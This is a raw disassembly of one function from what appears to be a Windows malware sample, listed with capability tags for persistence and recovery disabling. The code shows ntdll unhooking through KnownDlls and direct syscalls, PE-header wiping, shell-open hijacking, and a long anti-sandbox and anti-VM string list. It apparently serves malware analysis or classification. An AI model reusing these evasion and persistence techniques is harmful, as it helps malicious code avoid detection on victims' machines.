Function at 0x140062a8b
Capabilities:
Check mutex on windows
Create http request
Disable automatic windows recovery features
Get system information on windows
Persist via run registry key
Query or enumerate registry value
Read data from internet
Receive data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x17d8
call fcn.1402ffce0
sub rsp, rax
vmovdqa xmmword [rsp + 0x17c0], xmm9
vmovdqa xmmword [rsp + 0x17b0], xmm8
vmovaps xmmword [rsp + 0x17a0], xmm7
vmovdqa xmmword [rsp + 0x1790], xmm6
call fcn.140067ee7
lea rdx, str.Midnight
lea rsi, [rsp + 0x790]
mov r8d, 8
mov rcx, rsi
call fcn.1400a9be0
lea rdx, str.src_m.rsBb__
mov rcx, rsi
call fcn.14002715f
mov rdi, rax
mov rsi, rdx
xor ecx, ecx
mov edx, 1
mov r8, rax
call sub.KERNEL32.dll_CreateMutexA
test rax, rax
je 0x140062e8f
mov rbx, rax
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x140062ed1
mov rcx, rbx
call fcn.1403001e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400233bd
call fcn.1401366e2
cmp rax, 2
jb 0x140066054
call fcn.140067ee7
lea rsi, [rsp + 0x1f0]
and dword [rsi], 0
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, rsi
call sub.KERNEL32.dll_IsWow64Process
test eax, eax
je 0x140066601
movabs rbp, 0xffffffff00000000
lea rsi, [rsp + 0x210]
cmp dword [rsi - 0x20], 0
mov eax, 0x60
mov ecx, 0x30
cmove rcx, rax
mov rax, qword [rcx]
mov rdi, qword [rax + 0x18]
mov r15, qword [rdi + 0x20]
add rdi, 0x20
vpxor xmm6, xmm6, xmm6
mov qword [rsp + 0x40], rdi
cmp r15, rdi
je 0x140062fec
mov rdx, qword [r15 + 0x40]
movzx r8d, word [r15 + 0x38]
shr r8d, 1
lea rcx, [rsp + 0x790]
call fcn.1400aabf0
mov r13, qword [rsp + 0x790]
test r13, r13
mov rbx, qword [rsp + 0x798]
cmove rbx, r13
mov r14, r13
mov eax, 1
cmove r14, rax
cmovne r13, qword [rsp + 0x7a0]
lea rcx, [r13 + 0xb]
xor edx, edx
call fcn.14029cbd9
mov r12, rax
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rdx
cmp rdx, 0xa
ja 0x140062ced
mov rax, rdx
mov rdi, rsi
mov rsi, rbp
lea rcx, [rdx + rdx]
mov rbp, rcx
cmp rcx, 0xc
jae 0x140062c41
mov ebp, 0xb
xor edx, edx
movabs r8, 0x3fffffffffffffff
cmp rbp, r8
setbe r9b
test rax, rax
je 0x140062c70
mov qword [rsp + 0x790], r12
mov qword [rsp + 0x7a0], rcx
mov eax, 2
jmp 0x140062c72
xor eax, eax
lea r8, [rbp*2]
mov dl, r9b
add rdx, rdx
mov qword [rsp + 0x798], rax
lea rcx, [rsp + 0x1f0]
lea r9, [rsp + 0x790]
call fcn.1402a51f7
cmp qword [rsp + 0x1f0], 0
mov rcx, qword [rsp + 0x1f8]
je 0x140062ccf
movabs rax, 0x8000000000000001
cmp rcx, rax
mov rbp, rsi
mov rsi, rdi
mov rdi, qword [rsp + 0x40]
je 0x140062ced
jmp 0x1400665d2
mov qword [rsp + 0x4d0], rcx
mov qword [rsp + 0x4d8], rbp
mov r12, rcx
mov rbp, rsi
mov rsi, rdi
mov rdi, qword [rsp + 0x40]
vmovdqu xmm0, xmmword [str.KnownDlls_]
vmovdqu xmmword [r12], xmm0
movabs rax, 0x5c0073006c006c
mov qword [r12 + 0xe], rax
mov qword [rsp + 0x4e0], 0xb
add r13, r14
mov qword [rsp + 0x790], r14
mov qword [rsp + 0x798], r13
and word [rsp + 0x7a0], 0
lea rcx, [rsp + 0x4d0]
lea rdx, [rsp + 0x790]
call fcn.1402a0b20
mov r12, qword [rsp + 0x4d0]
mov eax, dword [rsp + 0x4e0]
add eax, eax
mov word [rsp + 0x50], ax
mov word [rsp + 0x52], 0x104
mov dword [rsp + 0x1f0], 0x30
and qword [rsp + 0x1f8], 0
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x50]
mov qword [rsp + 0x200], rax
mov dword [rsp + 0x208], 0x40
vmovdqu xmmword [rsi], xmm6
mov edx, 0xd
lea rcx, [0x1404bccd6]
call fcn.140067e25
test eax, eax
je 0x140066562
or qword [rsp + 0x140], 0xffffffffffffffff
mov eax, edx
mov edx, 0xc
lea rcx, [rsp + 0x1f0]
lea r8, [rsp + 0x140]
xor r9d, r9d
push rcx
push r11
syscall
pop r11
pop rcx
mov r13, rax
mov qword [rsp + 0xe0], rax
add rax, 0xffffffff80000000
xor ecx, ecx
cmp rax, rbp
setb cl
lea rdx, str.src_e.rsError:_Failed_to_change_memory_protection._n
call fcn.1400271a6
test r13d, r13d
js 0x140066514
mov edx, 0x12
lea rcx, str.NtMapViewOfSection
call fcn.140067e25
test eax, eax
je 0x140066562
mov eax, edx
mov edx, 0xc
lea rcx, [rsp + 0x1f0]
lea r8, [rsp + 0x140]
xor r9d, r9d
push rcx
push r11
syscall
pop r11
pop rcx
mov r13, rax
add rax, 0xffffffff80000000
xor ecx, ecx
cmp rax, rbp
setb cl
lea rdx, str.src_e.rsError:_Failed_to_change_memory_protection._n
call fcn.1400271a6
test r13d, r13d
js 0x140066562
mov rdx, qword [rsp + 0x4d8]
mov rcx, r12
call fcn.1402d7b3c
mov r15, qword [r15]
mov rcx, r14
mov rdx, rbx
call fcn.1400d33bf
jmp 0x140062bb0
mov rcx, rdi
mov rdx, rsi
vmovaps xmm6, xmmword [rsp + 0x1790]
vmovaps xmm7, xmmword [rsp + 0x17a0]
vmovaps xmm8, xmmword [rsp + 0x17b0]
vmovaps xmm9, xmmword [rsp + 0x17c0]
add rsp, 0x17d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400233bd
mov rcx, rdi
mov rdx, rsi
call fcn.1400233bd
lea rsi, [rsp + 0x790]
mov rcx, rsi
call fcn.140286b60
cmp byte [rsi + 0x18], 2
mov rsi, qword [rsi]
je 0x14006374a
lea rdi, [rsp + 0x790]
mov rbx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov rcx, rdi
mov rdx, rsi
call fcn.140297380
lea r14, [rsp + 0x1f0]
mov rcx, r14
mov rdx, rdi
call fcn.1400b2a6a
mov rcx, rsi
mov rdx, rbx
call fcn.1400d33bf
cmp qword [r14], 0
je 0x140063742
lea rdi, [rsp + 0x1f0]
mov rax, qword [rdi + 0x10]
lea rcx, [rsp + 0x4d0]
mov qword [rcx + 0x10], rax
vmovdqu xmm0, xmmword [rdi]
vmovdqa xmmword [rcx], xmm0
lea r12, [rsp + 0xa0]
mov qword [r12], rcx
lea rax, [0x1404ba530]
lea rdx, [rsp + 0x790]
mov qword [rdx], rax
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
lea rax, [fcn.140031e97]
mov qword [r12 + 8], rax
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], 1
mov rcx, rdi
call fcn.14002ab9d
mov rsi, qword [rdi]
mov r14, qword [rdi + 0x10]
lea rdx, str.exefileFailed_to_set_shell_open_command:
mov r8d, 7
mov rcx, 0xffffffff80000000
mov r9d, 0x20006
call fcn.140032738
mov rdi, rdx
test rax, rax
je 0x1400637e6
mov rcx, rdi
call fcn.1401ac421
mov rbx, rax
mov r14, rdx
jmp 0x140063868
xor ecx, ecx
call sub.KERNEL32.dll_GetModuleHandleA
test rax, rax
je 0x14006306c
mov rsi, rax
lea rbx, [rsp + 0x1f0]
and dword [rbx], 0
vpxor xmm0, xmm0, xmm0
lea rdi, [rsp + 0x790]
vmovdqu ymmword [rdi + 0x10], ymm0
vmovdqu ymmword [rdi], ymm0
mov rcx, rdi
vzeroupper
call sub.KERNEL32.dll_GetSystemInfo
mov edi, dword [rdi + 4]
mov rcx, rsi
mov rdx, rdi
mov r8d, 4
mov r9, rbx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
je 0x140063075
xor eax, eax
cmp rax, 0x1000
je 0x140063054
mov byte [rsi + rax], 0
inc rax
jmp 0x140063043
lea r9, [rsp + 0x1f0]
mov r8d, dword [r9]
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_VirtualProtect
jmp 0x1400630a8
lea rax, str.Error:_Failed_to_get_base_address._n
jmp 0x14006307c
lea rax, [0x1404bc910]
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.failed_to_write_whole_buffer
mov qword [rcx + 0x10], rax
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rcx + 0x18], xmm0
call fcn.14028b280
lea rax, [0x1404bcb9b]
mov qword [rsp + 0x790], rax
mov eax, 0xc
mov qword [rsp + 0x798], rax
lea rcx, [0x1404bcb20]
mov qword [rsp + 0x7a0], rcx
mov qword [rsp + 0x7a8], rax
lea rcx, [0x1404bcb2c]
mov qword [rsp + 0x7b0], rcx
mov qword [rsp + 0x7b8], 9
lea rcx, [0x1404bcb35]
mov qword [rsp + 0x7c0], rcx
mov ecx, 0xb
mov qword [rsp + 0x7c8], rcx
lea rdx, [0x1404bcb40]
mov qword [rsp + 0x7d0], rdx
mov qword [rsp + 0x7d8], rcx
lea rdx, [0x1404bcb4b]
mov qword [rsp + 0x7e0], rdx
mov qword [rsp + 0x7e8], rcx
lea rdx, [0x1404bcb56]
mov qword [rsp + 0x7f0], rdx
mov qword [rsp + 0x7f8], 0xd
lea rdx, [0x1404bcb63]
mov qword [rsp + 0x800], rdx
mov qword [rsp + 0x808], rcx
lea rdx, [0x1404bcb6e]
mov qword [rsp + 0x810], rdx
mov qword [rsp + 0x818], rcx
lea rcx, [0x1404bcb79]
mov qword [rsp + 0x820], rcx
mov qword [rsp + 0x828], 0xa
lea rcx, [0x1404bcb83]
mov qword [rsp + 0x830], rcx
mov qword [rsp + 0x838], rax
lea rcx, [0x1404bcb8f]
mov qword [rsp + 0x840], rcx
mov qword [rsp + 0x848], rax
xor esi, esi
lea r15, [rsp + 0x4d0]
lea rbx, [rsp + 0x1f0]
mov r14, 0xffffffffffffffff
lea rdi, [rsp + 0xa0]
cmp rsi, 0xc
je 0x1400633dc
mov rax, rsi
shl rax, 4
mov rcx, qword [rsp + rax + 0x790]
mov rax, qword [rsp + rax + 0x798]
add rax, rcx
mov qword [rsp + 0x4d0], rcx
mov qword [rsp + 0x4d8], rax
and word [rsp + 0x4e0], 0
mov dword [rsp + 0x4e8], 1
mov rcx, r15
call fcn.1402a4c07
test ax, ax
je 0x1400633a7
mov ebp, edx
mov rcx, rbx
mov rdx, r15
call fcn.1402a4cfe
mov r15, qword [rsp + 0x1f0]
inc r15
cmove r15, r14
cmp r15, 5
mov eax, 4
cmovb r15, rax
movabs rax, 0x3fffffffffffffff
cmp r15, rax
ja 0x1400665d7
mov qword [rsp + 0x40], rsi
lea r13, [r15 + r15]
mov ecx, 2
mov rdx, r13
call fcn.1400d2cea
test rax, rax
je 0x1400665de
mov r12, rax
mov word [rax], bp
vmovdqu ymm0, ymmword [rsp + 0x4d0]
vmovdqu ymmword [rsp + 0x1f0], ymm0
mov esi, 1
mov rcx, rbx
vzeroupper
call fcn.1402a4c07
cmp ax, 1
jne 0x1400633a0
mov ebp, edx
cmp rsi, r15
jne 0x140063393
mov rcx, rdi
mov rdx, rbx
call fcn.1402a4cfe
mov r13, qword [rsp + 0xa0]
inc r13
cmove r13, r14
add r13, r15
jae 0x14006330a
xor ecx, ecx
jmp 0x14006338b
lea rax, [r15 + r15]
cmp rax, r13
cmova r13, rax
cmp r13, 5
jae 0x140063321
mov r13d, 4
xor edx, edx
movabs rcx, 0x3fffffffffffffff
cmp r13, rcx
setbe dl
lea r8, [r13*2]
add rdx, rdx
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xa8], 2
lea rcx, [rsp + 0x50]
mov r9, rdi
call fcn.1402a51f7
cmp qword [rsp + 0x50], 0
mov rcx, qword [rsp + 0x58]
je 0x14006337b
mov r13, qword [rsp + 0x60]
jmp 0x14006338b
mov r12, rcx
mov r15, r13
movabs rcx, 0x8000000000000001
mov rdx, r13
call fcn.14002b39a
mov word [r12 + rsi*2], bp
inc rsi
jmp 0x1400632c4
mov rsi, qword [rsp + 0x40]
jmp 0x1400633b0
mov r12d, 2
xor r15d, r15d
mov rcx, r12
call sub.KERNEL32.dll_GetModuleHandleW
test rax, rax
jne 0x140066054
inc rsi
mov rcx, r12
mov rdx, r15
call fcn.1402d7b3c
lea r15, [rsp + 0x4d0]
jmp 0x1400631f3
lea rax, [0x1404bc9e7]
mov qword [rsp + 0x790], rax
mov eax, 0xa
mov qword [rsp + 0x798], rax
lea rcx, [0x1404bc9a4]
mov qword [rsp + 0x7a0], rcx
mov qword [rsp + 0x7a8], 7
lea rcx, [0x1404bc9ab]
mov qword [rsp + 0x7b0], rcx
mov ecx, 0xb
mov qword [rsp + 0x7b8], rcx
lea rdx, [0x1404bc9b6]
mov qword [rsp + 0x7c0], rdx
mov qword [rsp + 0x7c8], rcx
lea rdx, [0x1404bc9c1]
mov qword [rsp + 0x7d0], rdx
mov qword [rsp + 0x7d8], 8
lea rdx, [0x1404bc9c9]
mov qword [rsp + 0x7e0], rdx
mov qword [rsp + 0x7e8], rax
lea rax, [0x1404bc9d3]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 9
lea rax, [0x1404bc9dc]
mov qword [rsp + 0x800], rax
mov qword [rsp + 0x808], rcx
call sub.ntdll.dll_RtlGetCurrentPeb
mov rax, qword [rax + 0x20]
mov rdx, qword [rax + 0x68]
test rdx, rdx
je 0x1400639fe
lea rsi, [rsp + 0x4d0]
mov r8d, 0x104
mov rcx, rsi
call fcn.1402680a0
mov rbx, qword [rsi]
mov r14, qword [rsi + 0x10]
mov rcx, rbx
mov rdx, r14
call fcn.14028cf30
test rax, rax
je 0x1400639ee
mov r12, rax
mov rsi, rdx
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x48], rbx
lea rbx, [rsp + 0x1f0]
mov rcx, rbx
mov rdx, rax
mov r8, rsi
call fcn.140297380
lea rcx, [rsp + 0x140]
mov rdx, rbx
call fcn.1400333e4
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.140262e4a
mov rax, r12
add rax, rsi
mov qword [rsp + 0x30], rax
xor ebp, ebp
lea rbx, [rsp + 0xe0]
lea r13, [rsp + 0xa0]
mov r15, 0xffffffffffffffff
mov qword [rsp + 0x40], r12
cmp rbp, 8
je 0x14006370c
mov qword [rsp + 0xe0], r12
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xe8], rax
and word [rsp + 0xf0], 0
mov rcx, rbx
call fcn.1402d9c82
test ax, ax
je 0x140063665
mov esi, edx
lea r12, [rsp + 0x1f0]
mov rcx, r12
mov rdx, rbx
call fcn.1402a0aa5
mov rcx, qword [rsp + 0x1f0]
inc rcx
cmove rcx, r15
cmp rcx, 5
mov eax, 4
cmovb rcx, rax
call fcn.1402d9b78
mov rbx, rax
mov word [rax], si
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], 1
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xb0], rax
vmovdqu xmm0, xmmword [rsp + 0xe0]
vmovdqa xmmword [rsp + 0xa0], xmm0
mov r14d, 1
mov rcx, r13
call fcn.1402d9c82
cmp ax, 1
jne 0x14006365e
mov esi, edx
cmp r14, qword [rsp + 0x58]
jne 0x14006364f
mov rcx, r12
mov rdx, r13
call fcn.1402a0aa5
mov rdx, qword [rsp + 0x1f0]
inc rdx
cmove rdx, r15
lea rcx, [rsp + 0x50]
call fcn.1402d9bc0
mov rbx, qword [rsp + 0x50]
mov word [rbx + r14*2], si
inc r14
mov qword [rsp + 0x60], r14
jmp 0x14006360f
mov rsi, qword [rsp + 0x58]
jmp 0x140063674
mov ebx, 2
xor esi, esi
lea r12, [rsp + 0x1f0]
mov rax, rbp
shl rax, 4
add rax, rsp
add rax, 0x790
inc rbp
mov rcx, qword [rax]
mov rax, qword [rax + 8]
add rax, rcx
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], rax
and word [rsp + 0x200], 0
mov dword [rsp + 0x208], 1
mov rcx, r13
mov rdx, r12
call fcn.14002695c
mov r12, qword [rsp + 0xa0]
mov rcx, rbx
mov rdx, r12
call sub.KERNEL32.dll_lstrcmpiW
mov r14d, eax
mov rdx, qword [rsp + 0xa8]
mov rcx, r12
call fcn.1402d7b3c
mov rcx, rbx
mov rdx, rsi
call fcn.1402d7b3c
test r14d, r14d
mov r12, qword [rsp + 0x40]
lea rbx, [rsp + 0xe0]
jne 0x14006355f
jmp 0x140066054
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x108]
call fcn.14028cf30
test rax, rax
je 0x1400637e1
cmp rdx, 2
jne 0x1400637a5
cmp word [rax], 0x2e2e
jne 0x1400637a5
mov r8d, 2
xor r9d, r9d
jmp 0x140063904
mov rsi, qword [rsp + 0x1f8]
lea rdi, [rsp + 0x50]
mov qword [rdi], rsi
lea rax, [rsp + 0xa0]
mov qword [rax], rdi
lea rdx, str.Failed_to_get_executable_path:
lea rcx, [rsp + 0x790]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rdx, [fcn.140285bb0]
mov qword [rax + 8], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.14028b4b0
mov rcx, rdi
call fcn.14002276f
jmp 0x140066374
xor ecx, ecx
mov r8, rdx
test r8, r8
je 0x14006384a
mov r9, r8
dec r8
cmp byte [rax + r9 - 1], 0x2e
jne 0x1400637aa
mov rcx, rdx
sub rcx, r9
jb 0x140066796
test r8, r8
je 0x1400638fe
add r9, rax
mov rdx, rcx
jmp 0x140063904
jmp 0x140063907
lea r8, [0x1404bccad]
lea rbx, [rsp + 0x790]
mov r9d, 0x12
mov rcx, rbx
mov rdx, rdi
call fcn.14003269c
cmp byte [rbx + 8], 0
mov r15, qword [rbx]
je 0x140063852
mov qword [rsp + 0x20], r14
lea rdx, str.failed_to_write_whole_buffer
mov rcx, r15
xor r8d, r8d
mov r9, rsi
call fcn.1400327ab
test rax, rax
je 0x14006571d
mov rcx, rax
call fcn.1401ac421
mov rbx, rax
mov r14, rdx
mov rcx, r15
call fcn.1402d9e0e
jmp 0x140063860
mov r9, rax
jmp 0x140063907
mov rcx, r15
call fcn.1401ac421
mov rbx, rax
mov r14, rdx
mov rcx, rdi
call fcn.1402d9e0e
mov rcx, 0xffffffff80000000
call fcn.1402d9e0e
test rbx, rbx
je 0x1400638d4
lea rdi, [rsp + 0x50]
mov qword [rdi], rbx
mov qword [rdi + 8], r14
mov qword [rsp + 0xa0], rdi
lea rax, [0x1404ba580]
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x1400ab521]
mov qword [rsp + 0xa8], rax
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 1
call fcn.14028b4b0
mov rcx, rdi
call fcn.1401ac448
mov rdx, qword [rsp + 0x1f8]
mov rcx, rsi
call fcn.1400d33bf
mov rcx, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x4d8]
call fcn.1400d33bf
jmp 0x140066374
xor r9d, r9d
mov r8, rdx
mov rcx, rax
test rcx, rcx
cmovne r9, rcx
test rax, rax
je 0x1400639d1
test r9, r9
je 0x1400639d1
test rcx, rcx
cmove r8, rdx
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
mov rdx, r9
call fcn.140297380
lea rbx, [rsp + 0xa0]
mov rcx, rbx
mov rdx, rsi
call fcn.1400333e4
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.140262e4a
mov rax, qword [rbx + 0x10]
lea rcx, [rax - 0x20]
cmp rcx, 0x20
ja 0x1400639b9
movabs rdx, 0x100000101
bt rdx, rcx
jae 0x1400639b9
mov rsi, qword [rsp + 0xa0]
add rax, rsi
lea rbx, [rsp + 0x1f0]
mov qword [rbx], rsi
mov qword [rbx + 8], rax
mov rcx, rbx
call fcn.140059d98
cmp eax, 0x110000
je 0x140066054
lea ecx, [rax - 0x30]
cmp ecx, 0xa
jb 0x140063991
or eax, 0x20
add eax, 0xffffff9f
cmp eax, 6
jb 0x140063991
jmp 0x1400639c1
mov rsi, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov rcx, rsi
call fcn.1400d33bf
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x148]
call fcn.1400d33bf
mov rbx, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x4d8]
mov rcx, rbx
call fcn.1400d33bf
lea rax, [0x1404bca64]
mov qword [rsp + 0x790], rax
mov qword [rsp + 0x798], 0xb
lea rax, [0x1404bc9f1]
mov qword [rsp + 0x7a0], rax
mov ecx, 7
mov qword [rsp + 0x7a8], rcx
lea rax, [0x1404bc9f8]
mov qword [rsp + 0x7b0], rax
mov eax, 5
mov qword [rsp + 0x7b8], rax
lea rdx, [0x1404bc9fd]
mov qword [rsp + 0x7c0], rdx
mov qword [rsp + 0x7c8], rcx
lea rdx, [0x1404bca04]
mov qword [rsp + 0x7d0], rdx
mov r15d, 8
mov qword [rsp + 0x7d8], r15
lea rdx, [0x1404bca0c]
mov qword [rsp + 0x7e0], rdx
mov qword [rsp + 0x7e8], r15
lea rdx, [0x1404bca14]
mov qword [rsp + 0x7f0], rdx
mov qword [rsp + 0x7f8], rcx
lea rdx, [0x1404bca1b]
mov qword [rsp + 0x800], rdx
mov edx, 6
mov qword [rsp + 0x808], rdx
lea r8, [0x1404bca21]
mov qword [rsp + 0x810], r8
mov qword [rsp + 0x818], rdx
lea rdx, [0x1404bca27]
mov qword [rsp + 0x820], rdx
mov qword [rsp + 0x828], 0xc
lea rdx, [0x1404bca33]
mov qword [rsp + 0x830], rdx
mov qword [rsp + 0x838], rax
lea rdx, [0x1405b6480]
mov qword [rsp + 0x840], rdx
mov qword [rsp + 0x848], 4
lea rdx, [0x1404bca38]
mov qword [rsp + 0x850], rdx
mov qword [rsp + 0x858], r15
lea rdx, [0x1404bca40]
mov qword [rsp + 0x860], rdx
mov qword [rsp + 0x868], rcx
lea rdx, [0x1404bca47]
mov qword [rsp + 0x870], rdx
mov qword [rsp + 0x878], rcx
lea rcx, [0x1404bca4e]
mov qword [rsp + 0x880], rcx
mov qword [rsp + 0x888], 9
lea rcx, [0x1404bca57]
mov qword [rsp + 0x890], rcx
mov qword [rsp + 0x898], rax
lea rax, [0x1404bca5c]
mov qword [rsp + 0x8a0], rax
mov qword [rsp + 0x8a8], r15
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
call fcn.140067cfe
mov rsi, qword [rsi]
test rsi, rsi
je 0x140063c26
mov rbx, qword [rsp + 0x1f8]
mov r14, qword [rsp + 0x200]
cmp r15, 0x128
je 0x140063c1b
mov rcx, qword [rsp + r15 + 0x788]
mov rdx, qword [rsp + r15 + 0x790]
mov r8, rsi
mov r9, r14
call fcn.14002646c
test al, al
jne 0x140066054
add r15, 0x10
jmp 0x140063be9
mov rcx, rsi
mov rdx, rbx
call fcn.1400d33bf
lea rax, [0x1404bc99d]
mov qword [rsp + 0x790], rax
mov eax, 7
mov qword [rsp + 0x798], rax
lea rcx, str.7SILVIAHANSPETER_PCJOHN_PCMUELLER_PCWIN7_TRAPSFORTINETTEQUILABOOMBOOMSANDBOXbot.exesandbox.exemalware.exetest.exeklavme.exemyapp.exetestapp.exesample.exeSandboxEmilyHAPUBWSHong_LeeIT_ADMINJohnsonMillermilozsPeter_Wilsontimmysand_boxmalwaremaltesttest_uservirusJohn_DoeCurrentUserWilberSCSWadminSystemITKLONE_X64_PCJohnC:_take_screenshot.ps1C:loaddll.exeC:email.docC:email.htmC:123email.docC:123email.docxC:_a_foobar.bmpC:_a_foobar.docC:_a_foobar.gifavghooka.dllsnxhk.dllsbiedll.dlldbghelp.dllapi_log.dlldir_watch.dllpstorec.dllvmcheck.dllwpespy.dllcmdvrt64.dllcmdvrt32.dllavghookx.dllSystemCurrentControlSetServicesDiskEnumvirtiovmwarexenVMWVirtualqemuCountSystemCurrentControlSetEnumSCSISystemCurrentControlSetEnumIDEFailed_to_get_process_information7
mov qword [rsp + 0x7a0], rcx
mov qword [rsp + 0x7a8], rax
lea rcx, [0x1404bc95f]
mov qword [rsp + 0x7b0], rcx
mov qword [rsp + 0x7b8], 0xc
lea rcx, [0x1404bc96b]
mov qword [rsp + 0x7c0], rcx
mov qword [rsp + 0x7c8], rax
lea rax, [0x1404bc972]
mov qword [rsp + 0x7d0], rax
mov eax, 0xa
mov qword [rsp + 0x7d8], rax
lea rcx, [0x1404bc97c]
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rax
lea rax, [0x1404bc986]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 8
lea rax, [0x1404bc98e]
mov qword [rsp + 0x800], rax
mov qword [rsp + 0x808], 0xf
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
call fcn.140067baa
mov rsi, qword [rsi]
test rsi, rsi
je 0x140063dc8
lea r15, [rsp + 0x1f0]
mov rbx, qword [r15 + 8]
mov r14, qword [r15 + 0x10]
mov rcx, r15
call fcn.140067c4d
mov r15, qword [r15]
test r15, r15
je 0x140063dbd
mov qword [rsp + 0x40], rbx
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x30], rax
mov r13, qword [rsp + 0x200]
mov ecx, 8
lea rbx, [rcx + 0x10]
cmp rbx, 0x98
je 0x140063da6
mov rbp, qword [rsp + rcx + 0x788]
mov r12, qword [rsp + rcx + 0x790]
mov rcx, rbp
mov rdx, r12
mov r8, rsi
mov r9, r14
call fcn.14002646c
test al, al
jne 0x140066054
mov rcx, rbp
mov rdx, r12
mov r8, r15
mov r9, r13
call fcn.14002646c
mov rcx, rbx
test al, al
je 0x140063d53
jmp 0x140066054
mov rcx, r15
mov rdx, qword [rsp + 0x30]
call fcn.1400d33bf
mov rcx, rsi
mov rdx, qword [rsp + 0x40]
jmp 0x140063dc3
mov rcx, rsi
mov rdx, rbx
call fcn.1400d33bf
lea rsi, [rsp + 0x790]
mov rcx, rsi
call fcn.140067cfe
mov rsi, qword [rsi]
test rsi, rsi
je 0x140064016
lea r14, [rsp + 0x790]
mov rbx, qword [r14 + 8]
mov rbp, qword [r14 + 0x10]
mov rcx, r14
call fcn.140067baa
mov r14, qword [r14]
test r14, r14
je 0x14006400b
lea r12, [rsp + 0x790]
mov r13, qword [r12 + 8]
mov r15, qword [r12 + 0x10]
mov rcx, r12
call fcn.140067c4d
mov r12, qword [r12]
test r12, r12
je 0x140064000
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x798]
mov qword [rsp + 0x30], rax
mov r13, qword [rsp + 0x7a0]
lea r8, [0x1404bca6f]
mov r9d, 6
mov rcx, rsi
mov rdx, rbp
call fcn.1402d324e
test al, al
je 0x140063ea5
lea r8, [0x1404bca75]
mov r9d, 2
mov rcx, r14
mov rdx, r15
call fcn.1402a752a
test al, al
jne 0x140066054
lea r8, [0x1404bca77]
mov r9d, 2
mov rcx, r14
mov rdx, r15
call fcn.1402a752a
test al, al
jne 0x140066054
lea r8, [0x1404bca79]
mov r9d, 5
mov rcx, rsi
mov rdx, rbp
call fcn.1402d324e
test al, al
je 0x140063f01
lea r8, [0x1404bca7e]
mov r9d, 8
mov rcx, r14
mov rdx, r15
call fcn.1402d324e
test al, al
jne 0x140066054
lea r8, [0x1404bca86]
mov r9d, 0xc
mov rcx, r12
mov rdx, r13
call fcn.1402d324e
test al, al
jne 0x140066054
lea r8, [0x1404bca92]
mov r9d, 4
mov rcx, rsi
mov rdx, rbp
call fcn.1402d324e
test al, al
je 0x140063f4b
lea rcx, [0x1404bca96]
mov edx, 0x16
call fcn.140067da4
test al, al
je 0x140063f4b
lea rcx, [0x1404bcaac]
mov edx, 0xe
call fcn.140067da4
test al, al
jne 0x140066054
lea rcx, [0x1404bcaba]
mov edx, 0xc
call fcn.140067da4
test al, al
mov r15, qword [rsp + 0x40]
je 0x140063fa8
lea rcx, [0x1404bcac6]
mov edx, 0xc
call fcn.140067da4
test al, al
je 0x140063fa8
lea rcx, [0x1404bcad2]
mov edx, 0x10
call fcn.140067da4
test al, al
je 0x140063fa8
lea rcx, [0x1404bcae2]
mov edx, 0x11
call fcn.140067da4
test al, al
jne 0x140066054
lea rcx, [0x1404bcaf3]
mov edx, 0xf
call fcn.140067da4
test al, al
je 0x140063feb
lea rcx, [0x1404bcb02]
mov edx, 0xf
call fcn.140067da4
test al, al
je 0x140063feb
lea rcx, [0x1404bcb11]
mov edx, 0xf
call fcn.140067da4
test al, al
jne 0x140066054
mov rcx, r12
mov rdx, qword [rsp + 0x30]
call fcn.1400d33bf
mov rcx, r14
mov rdx, r15
jmp 0x140064006
mov rcx, r14
mov rdx, r13
call fcn.1400d33bf
mov rcx, rsi
mov rdx, rbx
call fcn.1400d33bf
lea rax, [0x1404bcbeb]
mov qword [rsp + 0x790], rax
mov eax, 4
mov qword [rsp + 0x798], rax
lea rcx, [0x1404bcbd2]
mov qword [rsp + 0x7a0], rcx
mov ecx, 6
mov qword [rsp + 0x7a8], rcx
lea rdx, [0x1404bcbd8]
mov qword [rsp + 0x7b0], rdx
mov qword [rsp + 0x7b8], rcx
lea rcx, [0x14052861d]
mov qword [rsp + 0x7c0], rcx
mov qword [rsp + 0x7c8], rax
lea rax, [0x1404bcbde]
mov qword [rsp + 0x7d0], rax
